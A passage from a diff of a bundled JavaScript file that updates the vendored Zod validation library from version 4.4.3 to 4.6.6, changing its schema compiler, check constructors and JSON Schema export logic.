${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -57420,6 +61595,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -57478,20 +61673,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -57833,6 +62019,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -57849,23 +62043,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -58032,7 +62226,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -58105,7 +62299,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -58170,8 +62365,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -58190,8 +62385,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -58199,13 +62394,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -58219,7 +62416,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -58236,12 +62443,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -58255,6 +62475,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -58278,13 +62500,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -58295,10 +62517,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -58320,15 +62547,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -58380,10 +62607,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); + } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -58405,9 +62741,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -58451,8 +62787,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -58470,19 +62834,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -58525,7 +62893,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -58566,19 +62934,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -58587,10 +63043,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -58599,19 +63060,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -58619,13 +63080,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -58649,21 +63107,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -58674,15 +63140,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -58691,35 +63153,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if 